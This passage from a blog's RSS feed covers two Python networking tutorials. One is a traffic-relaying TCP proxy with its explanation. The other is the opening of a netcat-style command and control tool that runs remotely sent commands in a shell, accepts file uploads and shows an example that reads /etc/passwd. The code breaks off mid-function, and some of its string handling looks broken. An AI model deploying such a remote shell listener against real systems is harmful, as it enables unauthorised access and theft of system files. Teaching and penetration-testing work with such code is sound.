<span class="line"><span style="color: #F8F8F2">    buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">b</span><span style="color: #E6DB74">&#39;&#39;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># We set a 2 second time-out. Depending on your target this may need</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># to be adjusted</span></span>
<span class="line"><span style="color: #F8F8F2">    connection.settimeout(</span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># keep reading into the buffer until there&#39;s no more data or we</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># time-out</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            data </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> connection.recv(</span><span style="color: #AE81FF">4096</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> data:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">break</span></span>
<span class="line"><span style="color: #F8F8F2">            buffer </span><span style="color: #F92672">+=</span><span style="color: #F8F8F2"> data</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">TimeoutError</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">pass</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> buffer</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># modify any requests destined for the remote host</span></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">request_handler</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">buffer</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># perform packet modifications</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> buffer</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># modify any responses destined for the local host</span></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">response_handler</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">buffer</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># perform packet modifications</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> buffer</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">proxy_handler</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">client_socket</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">remote_host</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">remote_port</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">receive_first</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># connect to the remote host</span></span>
<span class="line"><span style="color: #F8F8F2">    remote_socket </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.socket(socket.</span><span style="color: #AE81FF">AF_INET</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">SOCK_STREAM</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    remote_socket.connect((remote_host, remote_port))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># receive data from the remote end if necessary</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> receive_first:</span></span>
<span class="line"><span style="color: #F8F8F2">        remote_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> receive_from(remote_socket)</span></span>
<span class="line"><span style="color: #F8F8F2">        hexdump(remote_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># send it to our response handler</span></span>
<span class="line"><span style="color: #F8F8F2">        remote_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> response_handler(remote_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># if we have data to send to our local client send it</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(remote_buffer):</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[&lt;==] Sending </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> bytes to localhost.&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(remote_buffer))</span></span>
<span class="line"><span style="color: #F8F8F2">            client_socket.send(remote_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># now let&#39;s loop and read from local, send to remote, send to local</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># rinse wash repeat</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># read from local host</span></span>
<span class="line"><span style="color: #F8F8F2">        local_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> receive_from(client_socket)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(local_buffer):</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[==&gt;] Received </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> bytes from localhost.&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(local_buffer))</span></span>
<span class="line"><span style="color: #F8F8F2">            hexdump(local_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># send it to our request handler</span></span>
<span class="line"><span style="color: #F8F8F2">            local_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> request_handler(local_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># send off the data to the remote host</span></span>
<span class="line"><span style="color: #F8F8F2">            remote_socket.send(local_buffer)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[==&gt;] Sent to remote.&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># receive back the response</span></span>
<span class="line"><span style="color: #F8F8F2">        remote_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> receive_from(remote_socket)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(remote_buffer):</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[&lt;==] Received </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> bytes from remote.&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(remote_buffer))</span></span>
<span class="line"><span style="color: #F8F8F2">            hexdump(remote_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># send to our response handler</span></span>
<span class="line"><span style="color: #F8F8F2">            remote_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> response_handler(remote_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># send the response to the local socket</span></span>
<span class="line"><span style="color: #F8F8F2">            client_socket.send(remote_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[&lt;==] Sent to localhost.&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># if no more data on either side close the connections</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(local_buffer) </span><span style="color: #F92672">or</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(remote_buffer):</span></span>
<span class="line"><span style="color: #F8F8F2">            client_socket.close()</span></span>
<span class="line"><span style="color: #F8F8F2">            remote_socket.close()</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] No more data. Closing connections.&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">break</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">server_loop</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">local_host</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">local_port</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">remote_host</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">remote_port</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #FD971F; font-style: italic">receive_first</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    server </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.socket(socket.</span><span style="color: #AE81FF">AF_INET</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">SOCK_STREAM</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        server.bind((local_host, local_port))</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> socket.error </span><span style="color: #F92672">as</span><span style="color: #F8F8F2"> exc:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[!!] Failed to listen on </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">:</span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (local_host,</span></span>
<span class="line"><span style="color: #F8F8F2">                                                  local_port))</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[!!] Check for other listening sockets or correct &quot;</span></span>
<span class="line"><span style="color: #F8F8F2">              </span><span style="color: #E6DB74">&quot;permissions.&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #66D9EF; font-style: italic">f</span><span style="color: #E6DB74">&quot;[!!] Caught exception error: </span><span style="color: #AE81FF">{</span><span style="color: #F8F8F2">exc</span><span style="color: #AE81FF">}</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">        sys.exit(</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Listening on </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">:</span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (local_host, local_port))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    server.listen(</span><span style="color: #AE81FF">5</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        client_socket, addr </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> server.accept()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># print out the local connection information</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[==&gt;] Received incoming connection from </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">:</span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (</span></span>
<span class="line"><span style="color: #F8F8F2">            addr[</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">], addr[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">]))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># start a thread to talk to the remote host</span></span>
<span class="line"><span style="color: #F8F8F2">        proxy_thread </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> threading.Thread(</span><span style="color: #FD971F; font-style: italic">target</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">proxy_handler, </span><span style="color: #FD971F; font-style: italic">args</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">(</span></span>
<span class="line"><span style="color: #F8F8F2">            client_socket, remote_host, remote_port, receive_first))</span></span>
<span class="line"><span style="color: #F8F8F2">        proxy_thread.start()</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">main</span><span style="color: #F8F8F2">():</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># no fancy command line parsing here</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(sys.argv[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">:]) </span><span style="color: #F92672">!=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">5</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Usage: ./proxy.py [localhost] [localport] [remotehost] &quot;</span></span>
<span class="line"><span style="color: #F8F8F2">              </span><span style="color: #E6DB74">&quot;[remoteport] [receive_first]&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">        sys.exit(</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># setup local listening parameters</span></span>
<span class="line"><span style="color: #F8F8F2">    local_host </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> sys.argv[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">]</span></span>
<span class="line"><span style="color: #F8F8F2">    local_port </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">int</span><span style="color: #F8F8F2">(sys.argv[</span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">])</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># setup remote target</span></span>
<span class="line"><span style="color: #F8F8F2">    remote_host </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> sys.argv[</span><span style="color: #AE81FF">3</span><span style="color: #F8F8F2">]</span></span>
<span class="line"><span style="color: #F8F8F2">    remote_port </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">int</span><span style="color: #F8F8F2">(sys.argv[</span><span style="color: #AE81FF">4</span><span style="color: #F8F8F2">])</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># this tells our proxy to connect and receive data</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># before sending to the remote host</span></span>
<span class="line"><span style="color: #F8F8F2">    receive_first </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> sys.argv[</span><span style="color: #AE81FF">5</span><span style="color: #F8F8F2">]</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;True&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> receive_first:</span></span>
<span class="line"><span style="color: #F8F8F2">        receive_first </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        receive_first </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">False</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># now spin up our listening socket</span></span>
<span class="line"><span style="color: #F8F8F2">    server_loop(local_host, local_port, remote_host, remote_port, receive_first)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">main()</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><ol>
<li>
<p><strong>Hex Dump Function (<code>hexdump</code>):</strong></p>
<ul>
<li>A function for formatting and printing hexadecimal dumps of binary data. It displays the data in both hexadecimal and ASCII formats.</li>
</ul>
</li>
<li>
<p><strong>Receive Data Function (<code>receive_from</code>):</strong></p>
<ul>
<li>A function for receiving data from a socket. It reads data from the given socket until there’s no more data or a timeout occurs.</li>
</ul>
</li>
<li>
<p><strong>Request Handler Function (<code>request_handler</code>):</strong></p>
<ul>
<li>A placeholder function where packet modifications for requests (data sent from the client to the server) can be implemented. Currently, it returns the original buffer without modifications.</li>
</ul>
</li>
<li>
<p><strong>Response Handler Function (<code>response_handler</code>):</strong></p>
<ul>
<li>A placeholder function where packet modifications for responses (data sent from the server to the client) can be implemented. Currently, it returns the original buffer without modifications.</li>
</ul>
</li>
<li>
<p><strong>Proxy Handler Function (<code>proxy_handler</code>):</strong></p>
<ul>
<li>Handles the communication between the client and the server.</li>
<li>Establishes a connection to the remote host.</li>
<li>Optionally receives data from the remote host before forwarding any client data.</li>
<li>Loops and continuously reads data from the local host, sends it to the remote host, and vice versa.</li>
<li>Invokes request and response handlers for modifications.</li>
<li>Closes the connections when there is no more data on either side.</li>
</ul>
</li>
<li>
<p><strong>Server Loop Function (<code>server_loop</code>):</strong></p>
<ul>
<li>Sets up a listening socket on the local host and port.</li>
<li>Accepts incoming connections and starts a new thread (<code>proxy_handler</code>) for each connection.</li>
</ul>
</li>
<li>
<p><strong>Main Function (<code>main</code>):</strong></p>
<ul>
<li>Parses command-line arguments to determine local and remote hosts, ports, and whether to receive data first.</li>
<li>Calls <code>server_loop</code> to start listening and handling connections.</li>
</ul>
</li>
<li>
<p><strong>Command-Line Usage:</strong></p>
<ul>
<li>The script expects five command-line arguments: <code>localhost</code>, <code>localport</code>, <code>remotehost</code>, <code>remoteport</code>, and <code>receive_first</code>.</li>
<li>Example: <code>./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True</code></li>
</ul>
</li>
<li>
<p><strong>Execution:</strong></p>
<ul>
<li>Calls the <code>main</code> function to start the proxy server based on the provided command-line arguments.</li>
</ul>
</li>
</ol>
<p><strong>Note:</strong></p>
<ul>
<li>The script is a basic demonstration and may need further modification and refinement for specific use cases.</li>
<li>The packet modification functions (<code>request_handler</code> and <code>response_handler</code>) are currently placeholders and should be customized based on the desired behavior.</li>
</ul>
</div>
<p>The post <a href="https://awjunaid.com/networking/building-a-tcp-proxy-for-accessing-network-based-software/">Building a TCP proxy for accessing network-based software</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/networking/building-a-tcp-proxy-for-accessing-network-based-software/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">8911</post-id>	</item>
		<item>
		<title>A simple network client and server to push files and command-line access</title>
		<link>https://awjunaid.com/networking/a-simple-network-client-and-server-to-push-files-and-command-line-access/</link>
					<comments>https://awjunaid.com/networking/a-simple-network-client-and-server-to-push-files-and-command-line-access/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Fri, 29 Dec 2023 16:18:00 +0000</pubDate>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=8908</guid>

					<description><![CDATA[<p>Creating a simple network client-server application for pushing files and allowing command-line access involves using socket programming in&#8230;</p>
<p>The post <a href="https://awjunaid.com/networking/a-simple-network-client-and-server-to-push-files-and-command-line-access/">A simple network client and server to push files and command-line access</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Creating a simple network client-server application for pushing files and allowing command-line access involves using socket programming in a programming language like Python.</p>



<p class="wp-block-paragraph">The provided Python script is a basic implementation of a command and control (C2) tool, often used for remote access or penetration testing. The script can operate both as a server and a client, providing functionalities like executing commands, uploading files, and establishing a command shell on a target machine.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(3 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import sys
import socket
import getopt
import threading
import subprocess

# define some global variables
listen = False
command = False
upload = False
execute = &quot;&quot;
target = &quot;&quot;
upload_destination = &quot;&quot;
port = 0


# this runs a command and returns the output
def run_command(cmd):
    # trim the newline
    cmd = cmd.rstrip()

    # run the command and get the output back
    try:
        output = subprocess.check_output(cmd, stderr=subprocess.STDOUT,
                                         shell=True)
    except subprocess.CalledProcessError as e:
        output = e.output

    # send the output back to the client
    return output


# this handles incoming client connections
def client_handler(client_socket):
    global upload
    global execute
    global command

    # check for upload
    if len(upload_destination):

        # read in all of the bytes and write to our destination
        file_buffer = &quot;&quot;

        # keep reading data until none is available
        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        # now we take these bytes and try to write them out
        try:
            file_descriptor = open(upload_destination, &quot;wb&quot;)
            file_descriptor.write(file_buffer.encode('utf-8'))
            file_descriptor.close()

            # acknowledge that we wrote the file out
            client_socket.send(
                &quot;Successfully saved file to %s\r\n&quot; % upload_destination)
        except OSError:
            client_socket.send(
                &quot;Failed to save file to %s\r\n&quot; % upload_destination)

    # check for command execution
    if len(execute):
        # run the command
        output = run_command(execute)

        client_socket.send(output)

    # now we go into another loop if a command shell was requested
    if command:

        while True:
            # show a simple prompt
            client_socket.send(&quot;&lt;BHP:#&gt; &quot;.encode('utf-8'))

            # now we receive until we see a linefeed (enter key)
            cmd_buffer = b''
            while b&quot;\n&quot; not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)

            # we have a valid command so execute it and send back the results
            response = run_command(cmd_buffer.decode())

            # send back the response
            client_socket.send(response)


# this is for incoming connections
def server_loop():
    global target
    global port

    # if no target is defined we listen on all interfaces
    if not len(target):
        target = &quot;0.0.0.0&quot;

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))
    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # spin off a thread to handle our new client
        client_thread = threading.Thread(target=client_handler,
                                         args=(client_socket,))
        client_thread.start()


# if we don't listen we are a client... make it so.
def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # connect to our target host
        client.connect((target, port))

        # if we detect input from stdin send it
        # if not we are going to wait for the user to punch some in
        if len(buffer):
            client.send(buffer.encode('utf-8'))

        while True:
            # now wait for data back
            recv_len = 1
            response = b''

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len &lt; 4096:
                    break

            print(response.decode('utf-8'), end=' ')

            # wait for more input
            buffer = input(&quot;&quot;)
            buffer += &quot;\n&quot;

            # send it off
            client.send(buffer.encode('utf-8'))

    except socket.error as exc:
        # just catch generic errors - you can do your homework to beef this up
        print(&quot;[*] Exception! Exiting.&quot;)
        print(f&quot;[*] Caught exception socket.error: {exc}&quot;)

        # teardown the connection
        client.close()


def usage():
    print(&quot;Netcat Replacement&quot;)
    print()
    print(&quot;Usage: bhpnet.py -t target_host -p port&quot;)
    print(
        &quot;-l --listen                - listen on [host]:[port] for incoming &quot;
        &quot;connections&quot;)
    print(
        &quot;-e --execute=file_to_run   - execute the given file upon receiving &quot;
        &quot;a connection&quot;)
    print(&quot;-c --command               - initialize a command shell&quot;)
    print(
        &quot;-u --upload=destination    - upon receiving connection upload a file &quot;
        &quot;and write to [destination]&quot;)
    print()
    print()
    print(&quot;Examples: &quot;)
    print(&quot;bhpnet.py -t 192.168.0.1 -p 5555 -l -c&quot;)
    print(&quot;bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe&quot;)
    print(&quot;bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\&quot;cat /etc/passwd\&quot;&quot;)
    print(&quot;echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135&quot;)
    sys.exit(0)


def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # read the commandline options
    try:
        opts, args = getopt.getopt(sys.argv[1:], &quot;hle:t:p:cu:&quot;,
                                   [&quot;help&quot;, &quot;listen&quot;, &quot;execute&quot;, &quot;target&quot;,
                                    &quot;port&quot;, &quot;command&quot;, &quot;upload&quot;])
        for o, a in opts:
            if o in (&quot;-h&quot;, &quot;--help&quot;):
                usage()
            elif o in (&quot;-l&quot;, &quot;--listen&quot;):
                listen = True
            elif o in (&quot;-e&quot;, &quot;--execute&quot;):
                execute = a
            elif o in (&quot;-c&quot;, &quot;--commandshell&quot;):
                command = True
            elif o in (&quot;-u&quot;, &quot;--upload&quot;):
                upload_destination = a
            elif o in (&quot;-t&quot;, &quot;--target&quot;):
                target = a
            elif o in (&quot;-p&quot;, &quot;--port&quot;):
                port = int(a)
            else:
                assert False, &quot;Unhandled Option&quot;

    except getopt.GetoptError as err:
        print(str(err))
        usage()

    # are we going to listen or just send data from STDIN?
    if not listen and len(target) and port &gt; 0:
        # read in the buffer from the commandline
        # this will block, so send CTRL-D if not sending input
        # to stdin
